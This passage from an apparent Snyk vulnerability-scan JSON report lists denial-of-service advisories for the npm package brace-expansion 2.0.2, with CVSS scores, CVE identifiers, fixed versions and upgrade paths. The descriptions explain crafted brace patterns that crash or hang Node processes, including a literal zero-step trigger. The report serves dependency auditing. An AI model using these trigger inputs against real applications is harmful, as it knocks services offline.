"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmexec@9.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmfund@6.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmfund@7.0.28",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"node-gyp@12.4.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
